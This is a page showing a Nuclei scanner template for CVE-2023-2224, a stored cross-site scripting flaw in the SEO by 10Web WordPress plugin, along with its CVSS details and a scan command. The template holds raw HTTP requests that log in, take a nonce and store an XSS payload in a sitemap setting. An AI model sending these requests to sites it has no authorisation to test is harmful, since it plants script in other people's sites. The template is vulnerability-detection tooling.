Seo By 10Web < 1.2.7 - Cross-Site Scripting

ID: CVE-2023-2224

Severity: medium

Author: luisfelipe146

Tags: cve2023,cve,wpscan,packetstorm,wp,wordpress,wp-plugin,xss,seo,10web,authenticated

Description

The SEO by 10Web WordPress plugin before 1.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

YAML Source

id: CVE-2023-2224

info:
  name: Seo By 10Web < 1.2.7 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The SEO by 10Web WordPress plugin before 1.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
  reference:
    - https://wpscan.com/vulnerability/a76b6d22-1e00-428a-8a04-12162bd0d992
    - https://packetstormsecurity.com/files/173725/WordPress-Seo-By-10Web-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2224
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2023-2224
    cwe-id: CWE-79
    epss-score: 0.00101
    epss-percentile: 0.41469
    cpe: cpe:2.3:a:10web:seo:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: 10web
    product: seo
    framework: wordpress
  tags: cve2023,cve,wpscan,packetstorm,wp,wordpress,wp-plugin,xss,seo,10web,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=wdseo_sitemap HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin.php?page=wdseo_sitemap&id_message=2 HTTP/1.1
        Host: {{Hostname}}

        task=save&wd_settings%5Bsitemap%5D=1&wd_settings%5Bbing_verification%5D=&wd_settings%5Byandex_verification%5D=&wd_settings%5Bnotify_google%5D=0&wd_settings%5Bnotify_bing%5D=0&wd_settings%5Badditional_pages%5D%5B%5D=&wd_settings%5Badditional_pages%5D%5Bpage_url%5D%5B%5D=%22%3E%3Caudio+src%3Dx+onerror%3Dconfirm%28document.domain%29%3E&wd_settings%5Badditional_pages%5D%5Bpriority%5D%5B%5D=0&wd_settings%5Badditional_pages%5D%5Bfrequency%5D%5B%5D=always&wd_settings%5Badditional_pages%5D%5Blast_changed%5D%5B%5D=&wd_settings%5Bexclude_post_types%5D%5B%5D=&wd_settings%5Bexclude_taxonomies%5D%5B%5D=&wd_settings%5Bexclude_archives%5D%5B%5D=&wd_settings%5Bexclude_posts%5D=&wd_settings%5Bsitemap_image%5D=0&wd_settings%5Bsitemap_video%5D=0&wd_settings%5Bsitemap_stylesheet%5D=1&wd_settings%5Blimit%5D=1000&wd_settings%5Bautoupdate_sitemap%5D=0&nonce_wdseo={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwdseo_sitemap%26id_message%3D1

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - 'value=""><audio src=x onerror=confirm(document.domain)>"'

      - type: word
        part: header_3
        words:
          - text/html

      - type: status
        part: header_3
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'name="nonce_wdseo" value="([a-z0-9]+)" \/>'
        internal: true
# digest: 490a0046304402207317645f7ff53ce5efe50a8acc58be569f84687cfd4d72437472a6178fed16030220357573158b1b6196c8c486f78ba4258eee0e28a98ea82776ba68d93a96999a9b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2224.yaml"

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